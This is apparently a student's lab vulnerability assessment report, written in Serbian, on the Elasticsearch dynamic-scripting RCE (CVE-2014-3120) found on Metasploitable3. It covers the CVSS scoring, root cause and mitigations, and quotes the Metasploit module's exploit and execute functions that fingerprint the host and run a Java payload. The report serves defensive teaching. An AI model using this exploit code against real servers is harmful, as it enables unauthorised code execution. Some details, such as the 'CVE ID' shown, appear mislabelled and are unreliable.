Vulnerability Assessment Report Template

Ime i prezime: Ivana Ilijin
Tim: 12
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID: 76572**

- **Opis:**

  Elasticsearch ‘source’ Parameter RCE (remote code execution) - Elasticsearch aplikacija koja se nalazi na udaljenom veb serveru poseduje ranjivost daljinskog izvršavanja koda (remote code execution) usled nedovoljne zaštite korisničkog unosa za ’source’ parametar na ’/_search’ endpointu. Podrazumevana konfiguracija Elasticsearch-a pre verzije 1.2 omogućava dinamičko skriptovanje, te neautentifikovani udaljeni napadač može da iskoristi ovu ranjivost kako bi izvršio proizvoljan Java kod ili manipulisao fajlovima na udaljenom serveru, uključujući i osetljive podatke.

  Ime servisa: **Elasticsearch.**

  Port: **9200** za klijentske zahteve odnosno REST API komunikaciju i **9300** za komunikaciju između čvorova u klasteru.

  Protokol: **HTTP** za klijentske zahteve i **TCP** za komunikaciju između čvorova u klasteru.

2. CVSS skor

- **CVSS skor (numerička vrednost): 6.3**
- **Vektor:**
  CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
  AV = Attack Vector:Network. Attack Vector opisuje na koji način je eksploatacija moguća. Network ukazuje na to da se napad može izvršiti putem interneta.

  AC = Attack Complexity:Low. Attack Complexity opisuje koliko je složen napad, odnosno koliko je teška eksploatacija. Low ukazuje na to da napadač ne mora da potroši puno vremena u istraživanju sistema, odnosno ne mora da ima mnogo znanja i da sa lakoćom može da uspešno izvrši napad.

PR = Privileges Required:None. Privileges Required opisuje nivo privilegija koje napadač treba da poseduje. None ukazuje na to da napadač ne mora da poseduje nalog i privilegije kako bi pristupio podacima ili nekim funkcijama.

UI = User Interaction:Required. User Interaction opisuje da li je potrebna interakcija korisnika, kao što je klik na link ili datoteku. Required označava da je neophodna interakcija za eksploataciju.

S = Scope:Unchanged. Scope označava da li ranjivost softverske komponente može da utiče na druge komponente. Unchanged ukazuje na to da je opseg nepromenjen, odnosno da ranjivost ne utiče na druge komponente, već samo na ranjivu komponentu.

C = Confidentiality Impact:Low. Confidentiality Impact opisuje kako ranjivost utiče na poverljivost. Low ukazuje da je uticaj na poverljivost niska. Napadač može doći do nekih podataka i informacija, ali nema podatke o tome koja je količina dobijena.

I = Integrity Impact:Low. Integrity Impact označava uticaj na integritet. Low ukazuje na to da je moguća izmena podataka od strane napadača, ali je ograničen u tome, nema potpunu kontrolu da menja podatke.

A = Availability Impact:Low. Availability Impact ukazuje na dostupnost sistema. Low ukazuje na nizak uticaj na dostupnost. Napadač ne može u potpunosti da onemogući uslugu servisa korisnicima.

- **Opravdanje:**

  Ranjivost CVE-2014-3120 ima CVSS skor 6.3 i zato pripada srednjoj kategoriji. Ozbiljnost, odnosno nivo pretnje je medium (srednja).

  Napadač može izvršiti eksploataciju sa malo potrošenog vremena za istraživanje i malo znanja, pri čemu ne mora da poseduje nalog i privilegije kako bi pristupio podacima. Napad se može izvršiti putem interneta. Iz ugla eksploatabilnosti, napad se lako može izvršiti i utiče na skor da bude viši. Uticaj na poverljivost, integritet i dostupnost je niska, dok je obim ranjivosti je nepromenjen i utiče samo na tu komponentu. Impact i obim ranjivosti utiču na to da skor bude niži, te je konačna vrednost 6.3 i nivo ozbiljnosti ranjivosti je srednji.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/elasticsearch/script_mvel_rce.rb

- **Opis eksploita:**

  Eksploit je Metasploitable modul koji se zasniva na daljinskom izvršavanju komandi (RCE) u Elasticsearch-u. Eksploit cilja funkciju pretrage, koja omogućava izvršavanje dinamičkih skripti. REST API ne zahteva autentifikaciju, pa samim tim ni autorizaciju, čime je omogućeno izvršavanje proizvoljnog Java koda. Napadač može da izvrši Java kod, te može preuzeti kontrolu nad serverom ili da manipuliše podacima, što podrazumeva izmenu podataka.

- **Kod eksploita (ukoliko postoji):**
  Srž exploita jeste funkcija *exploit* prikazana na slici 1*.* Funkcija vrši napad na Elasticsearch pomoću ranjivosti koja omogućava izvršavanje proizvoljnog Java koda.

  Funkcija exploit:

  - Najpre se poziva *vulnerable* funkcija koja proverava da li je server ranjiv, ako nije, prekida se izvršavanje.
  - Poziva se funkcija *execute (*slika 2*),* koja šalje Java kod i vraća naziv operativnog sistema.
  - Poziva se java_tmp_dir kako bi se otkrila putanja do temp direktorijuma. Zatim se generiše ime za jar datoteku. Ako se ne otkrije putanja do temp direktorijuma, datoteka će se smestiti u definisan direktorijum.
  - *Register_file_for_cleanup* služi da obezbedi da se datoteke obrišu nakon izvršavanja kako se ne bi otkrio napad
  - *Execute(java_payload(jar_file))* funkcija poziva REST API kako bi izvršio maliciozni kod na endpointu search koji omogućava izvršavanje skripti.

  Funkcija execute (koristi se da bi se poslao maliciozan kod na Elasticsearch server):

  - Payload objekat je JSON struktura i predstavlja zahtev za pretragu (script_fields je deo payload objekta koji omogućava izvršavanje Java koda)
  - *Send_request_cgi* koristi podatke iz payload-a i šalje HTTP POST zahtev ka Elasticsearch serveru.

```
def exploit
  print_status("Trying to execute arbitrary Java...")
  unless vulnerable?
    fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
  end

  print_status("Discovering remote OS...")
  res = execute(java_os)
  result = parse_result(res)
  if result.nil?
    fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
  else
    # TODO: It'd be nice to report_host() with this info.
    print_good("Remote OS is '#{result}'")
  end

  jar_file = ""
  if result =~ /win/i
    print_status("Discovering TEMP path")
    res = execute(java_tmp_dir)
    result = parse_result(res)
    if result.nil?
      fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
    else
      print_good("TEMP path identified: '#{result}'")
    end
    jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
  else
    jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")
  end

  register_file_for_cleanup(jar_file)
  execute(java_payload(jar_file))
end
```

Slika 1. Funkcija *exploit*

```
def execute(java)
  payload = {
    "size" => 1,
    "query" => {
      "filtered" => {
        "query" => {
          "match_all" => {}
        }
      }
    },
    "script_fields" => {
      "msf_result" => {
        "script" => java
      }
    }
  }

  res = send_request_cgi({
    'uri'    => normalize_uri(target_uri.path.to_s, "_search"),
    'method' => 'POST',
    'data'   => JSON.generate(payload)
  })

  return res
end
```

Slika 2. Funkcija *execute*

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Greška je uvedena u 1.1.1 verziji Elasticsearch-a zbog sledećih razloga:

  - Uključeno je dinamičko izvršavanje skripti – korisnici mogu da šalju skripte na server kroz Elasticsearch, pomoću search zahteva i source parametra
  - Funkcionalnost procene izraza pomoću MVEL jezika koji nema sandbox mehanizam zaštite koji bi izolovao kod da se smanji rizik malicioznih operacija
  - API dostupan putem HTTP-a i nema CSRF zaštitu
  - ElasticSearch nema mehanizam za autentifikaciju, a ni mehanizam uloga, te kada se napadač poveže sa klasterom ima punu kontrolu nad njim.

- **Primer Koda (ako je primenljivo):**

  Nema primera koda, ali su iznad objašnjeni uzroci greške : dinamičko izvršavanje skripti, funkcionalnost procene izraza pomoću MVEL jezika, HTTP API bez CSRF zaštite i nema autentifikacije.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**
  Mitigacija CVE-2014-3120 podrazumeva ažuriranje na 1.2 ili noviju verziju Elasticsearch-a.

- **Alternativni fix (ukoliko ne postoji vendorski):**

  Alternativno, moguće je onemogućiti dinamičko skriptovanje kako bi se sprečilo daljinsko izvršavanje koda tako što se doda linija koda: script.disable_dynamic: true u elasticsearch.yml fajl. Dodatno, potrebno je dodati autentifikaciju ili CSRF (Cross-Site Request Forgery) zaštitu (pomoću CSRF tokena koji će sprečiti neovlašćen pristup ili postavljanjem CORS pravila kako bi samo ograničeni izvori mogli da šalju zahteve ka serveru).